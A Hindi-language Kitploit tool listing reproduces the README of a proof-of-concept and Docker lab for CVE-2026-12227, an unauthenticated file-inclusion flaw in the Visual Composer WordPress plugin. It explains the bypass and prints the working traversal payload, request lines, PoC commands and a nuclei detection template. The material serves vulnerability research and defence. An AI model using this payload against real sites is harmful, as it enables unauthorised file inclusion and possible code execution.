Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-12227-visualcomposer-lfi-poc — CVE-2026-12227 के लिए Docker सत्यापन लैब और safe-oracle PoC, जो vcv-template के माध्यम से Visual Composer में एक unauthenticated LFI है, साथ में एक nuclei डिटेक्शन टेम्पलेट। | Kitploit
उपकरण/GitHubGitHub/hassham1/cve-2026-12227-visualcomposer-lfi-poc
भेद्यता स्कैनरभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणसुरक्षा वर्चुअलाइजेशनवेब सुरक्षापेनिट्रेशन टेस्टिंगलैब और अभ्यास
GitHub
hassham1/cve-2026-12227-visualcomposer-lfi-poc

CVE-2026-12227-visualcomposer-lfi-poc

CVE-2026-12227 के लिए Docker सत्यापन लैब और safe-oracle PoC, जो vcv-template के माध्यम से Visual Composer में एक unauthenticated LFI है, साथ में एक nuclei डिटेक्शन टेम्पलेट।

रिपॉजिटरी देखें
110घं 25मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-12227 - Visual Composer अनधिकृत LFI, vcv-template Validation Lab के माध्यम से

CVE-2026-12227 को पुनरुत्पादित और सत्यापित करने के लिए सुरक्षा-अनुसंधान सामग्री: Visual Composer Website Builder के पेज-टेम्पलेट रिज़ॉल्यूशन में एक अनधिकृत लोकल फ़ाइल इन्क्लूज़न (CVSS 3.1 9.8), साथ ही एक सत्यापित विक्रेता-फ़िक्स विसंगति (नीचे देखें)।

  • प्रभावित: Visual Composer <= 45.16.0 (सलाहकारी); भेद्य कोड पथ 45.16.1 में बाइट-समान है और 45.16.3 तक अपरिवर्तित मौजूद है
  • निष्क्रिय किया गया: WordPress 7.1.2+ पर (CVE-2026-87902 फ़िक्स से locate_template() के अंदर कोर कंटेनमेंट गेट) - प्लगइन कोड स्वयं 45.16.3 तक कभी पैच नहीं किया गया
  • CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) - CWE-98

केवल उन सिस्टमों पर उपयोग करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है। PoC हानिरहित ओरेकल इन्क्लूड्स (स्टॉक wp-links-opml.php / xmlrpc.php आउटपुट) चलाता है। कोई फ़ाइल प्लेसमेंट नहीं, कोई राइट नहीं, कोई RCE पेलोड नहीं।

निर्णय

स्थिति: दिए गए लैब में सिद्ध।

root@kitploit:~
WP 7.1.1 + VC 45.16.1 : POST /?vcv-template-type=vc-custom-layout&
    vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
    -> 200, body contains <opml version="1.0">   (docroot PHP included + executed)
WP 7.1.1 + VC 45.16.3 : same request -> same oracle output
                        (the vendor "fixed" release is still exploitable)
WP 7.1.2 + VC 45.16.1 : silent (masked by the core gate, not by a plugin fix)

मार्कर-स्तरीय प्रमाण (uploads/ में रखी गई एक PHP फ़ाइल इन्क्लूड और निष्पादित, अनधिकृत GET) लैब साक्ष्य का हिस्सा है और भेद्य वेरिएंट पर ./lab verify द्वारा पुनरुत्पादित होता है।

मूल कारण: validate-then-mutate

visualcomposer/Modules/Editors/Settings/PageTemplatesController.php::viewPageTemplate() template_include को प्राथमिकता 11 पर हुक करता है बिना किसी ऑथ चेक के:

root@kitploit:~
// line 140: validation on the RAW request value
if (empty($current) || validate_file($current['value']) !== 0) {
    return $originalTemplate;
}
// lines 146-149: mutation AFTER the gate
if ($current['type'] === 'vc-custom-layout' && strpos($current['value'], 'theme:') !== false) {
    $current['value'] = str_replace('theme:', '', $current['value']);
}
// line 152: the sink
$result = locate_template($current['value']);

validate_file() शाब्दिक .. को अस्वीकार करता है। लेकिन मान चेक के बाद ही जोड़ा जाता है, इसलिए प्रत्येक ट्रैवर्सल को एक theme: सीमा पर विभाजित करने से यह पास हो जाता है:

root@kitploit:~
raw:      theme:.theme:./.theme:./.theme:./wp-links-opml.php   (no literal '..')
validate: PASS (validate_file sees no '..' substring)
strip:    str_replace('theme:', '', ...) removes every 'theme:' occurrence,
          fusing the fragments: '.' + '../' per boundary
result:   ../../../wp-links-opml.php   (pure traversal, resolved by the sink)

Request::input() (Helpers/Request.php:76) कच्चा $_POST/$_GET/$_REQUEST लौटाता है, इसलिए अपस्ट्रीम में भी कुछ इसे साफ़ नहीं करता। locate_template() उम्मीदवार को file_exists() से रिज़ॉल्व करता है, जो .. सेगमेंट्स का सम्मान करता है।

क्रॉस-CVE इंटरैक्शन (सत्यापित)

WordPress 7.1.2 (CVE-2026-87902 फ़िक्स) ने locate_template() (wp-includes/template.php) के अंदर _wp_is_template_path_allowed() जोड़ा। वह कोर गेट जुड़े हुए ट्रैवर्सल उम्मीदवार को अस्वीकार करता है, इसलिए WP 7.1.2+ पर यह प्लगइन चेन कोर द्वारा मास्क है - प्लगइन कभी पैच नहीं किया गया। एट्रिब्यूशन लैब में सत्यापित: 7.1.2 पर सिंक अभी भी चलता है लेकिन थीम डायरेक्टरी तक सीमित है; 7.1.1 पर यह बाहर निकल जाता है।

व्यावहारिक परिणाम: WordPress <= 7.1.1 पर Visual Composer 45.16.3 (वर्तमान रिलीज़, जिसे फ़िक्स्ड बताया गया है) चलाने वाली साइट आज भी अनधिकृत-LFI-भेद्य है। केवल WordPress कोर अपडेट ही इसे निष्क्रिय करता है।

त्वरित शुरुआत

आवश्यकताएँ: Docker with Compose v2, होस्ट पर Python 3.10+।

root@kitploit:~
./lab verify

तीन कंट्रोल चलाता है: भेद्य (WP 7.1.1 + VC 45.16.1, ओरेकल का फ़ायर होना आवश्यक), पैच्ड (WP 7.1.2 + VC 45.16.1, ओरेकल का साइलेंट रहना आवश्यक), नवीनतम (WP 7.1.1 + VC 45.16.3, ओरेकल का फ़ायर होना आवश्यक - फ़िक्स-विसंगति प्रदर्शन)।

अपेक्षित साक्ष्य

भेद्य कंट्रोल:

root@kitploit:~
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
  request : POST http://127.0.0.1:9488/?vcv-template-type=vc-custom-layout&vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
  evidence: <opml version="1.0">
RESULT: VULNERABLE CONTROL CONFIRMED

पैच्ड कंट्रोल:

root@kitploit:~
[=] oracle silent after N requests: WP 7.1.2+ core gate masking, ...
RESULT: PATCHED CONTROL CONFIRMED (masked by WP 7.1.2 core gate)

मैनुअल लैब लाइफसाइकल

root@kitploit:~
./lab start vulnerable   # WP 7.1.1 + VC 45.16.1 on 127.0.0.1:9488
./lab test
./lab start patched      # WP 7.1.2 + VC 45.16.1
./lab test
./lab start latest       # WP 7.1.1 + VC 45.16.3 (still fires)
./lab test
./lab reset

PoC को हाथ से चलाएँ (डिफ़ॉल्ट रूप से लूपबैक; अधिकृत बाहरी लक्ष्यों के लिए स्पष्ट ओवरराइड आवश्यक):

root@kitploit:~
python3 poc/poc_cve_2026_12227.py --url http://127.0.0.1:9488
python3 poc/poc_cve_2026_12227.py --url https://target.example \
  --allow-authorized-non-loopback [--insecure]

nuclei टेम्पलेट (nuclei/cve-2026-12227.yaml) होमपेज + page_id एंकरों पर गहराई 3-6 पर समान ओरेकल पेलोड फ़ायर करता है, stop-at-first-match के साथ।

प्रभावित और परीक्षित संस्करण

संयोजनपरिणाम
WP 7.1.1 + VC 45.16.1 (= 45.16.0 कोड)LFI पुनरुत्पादित (ओरेकल + रोपित-मार्कर निष्पादन)
WP 7.1.1 + VC 45.16.3 (वर्तमान रिलीज़)LFI अभी भी फ़ायर होता है
WP 7.1.2 + VC 45.16.1साइलेंट (कोर गेट द्वारा मास्क)
VC 45.16.2फ़िक्स-डिफ़ समीक्षित; भेद्य पथ अपरिवर्तित (अलग से नहीं चलाया गया)

रिपॉज़िटरी लेआउट

root@kitploit:~
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│   └── cve-2026-12227.yaml
└── poc/
    └── poc_cve_2026_12227.py

कमिट नहीं किया गया: assets/ (प्लगइन ज़िप), .lab-state, __pycache__/।

सत्यापन सीमाएँ

दावास्थिति
थीम डायरेक्टरी के बाहर PHP निष्पादन तक अनधिकृत LFIसिद्ध (ओरेकल + रोपित मार्कर)
45.16.3 तक विक्रेता फ़िक्स अनुपस्थितसिद्ध (कोड डिफ़ + 45.16.3 पर लाइव फ़ायर)
WP 7.1.2 कोर मास्किंगसिद्ध (समान अनुरोध 7.1.2 पर साइलेंट, 7.1.1 पर फ़ायर)
गहराई शब्दार्थthemes// से docroot तक 3 अप; स्वीप 3-6 कवर करता है
वास्तविक लक्ष्यों पर pearcmd/write चेन के माध्यम से RCEनिष्पादित नहीं (केवल-सुरक्षित-ओरेकल PoC)
45.16.0 (मूल प्रभावित रिलीज़)45.16.1 के साथ कोड-समान; इसके wp.org ज़िप में vendor/ अनुपस्थित है और इंस्टॉल नहीं हो सकता

प्रकटीकरण नोट

सलाहकारी सूचियाँ फ़िक्स को 45.16.1 में आने के रूप में सूचीबद्ध करती हैं, लेकिन भेद्य कोड पथ 45.16.3 तक प्रत्येक रिलीज़ में अपरिवर्तित है (ट्री डिफ़ और लाइव फ़ायर द्वारा सत्यापित)। यदि आप Visual Composer बनाए रखते हैं: viewPageTemplate() को theme: स्ट्रिप के बाद मान को पुनः-सत्यापित (या अस्वीकार) करने की आवश्यकता है, पहले नहीं। साइटों को इसके लिए प्लगइन अपडेट पर निर्भर नहीं रहना चाहिए - WordPress 7.1.2 कोर अपडेट ही वास्तव में इसे बंद करता है।

संदर्भ

  • NVD entry
  • Wordfence record
  • wp.org trac changeset 3619572
  • GHSA-3q44-ppmv-jh7f
  • क्रॉस-संदर्भित: CVE-2026-87902 (वह WP कोर फ़िक्स जो इस चेन को मास्क करता है)

सुरक्षा सीमा

इस रिपॉज़िटरी को केवल उन सिस्टमों पर चलाएँ जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है। लैब ड्राइवर अज्ञात वेरिएंट्स को अस्वीकार करता है, PoC गैर-लूपबैक लक्ष्यों को अस्वीकार करता है जब तक --allow-authorized-non-loopback प्रदान न किया जाए, और Compose पोर्ट 127.0.0.1 पर बाउंड है।

प्रकटीकरण प्रबंधन के लिए SECURITY.md देखें। इस रिपॉज़िटरी में उत्पादन लक्ष्य, ग्राहक डेटा, एक्सेस टोकन, या वास्तविक सिस्टमों के साक्ष्य शामिल नहीं हैं।

लाइसेंस

MIT - LICENSE देखें।

टूल डाउनलोड करें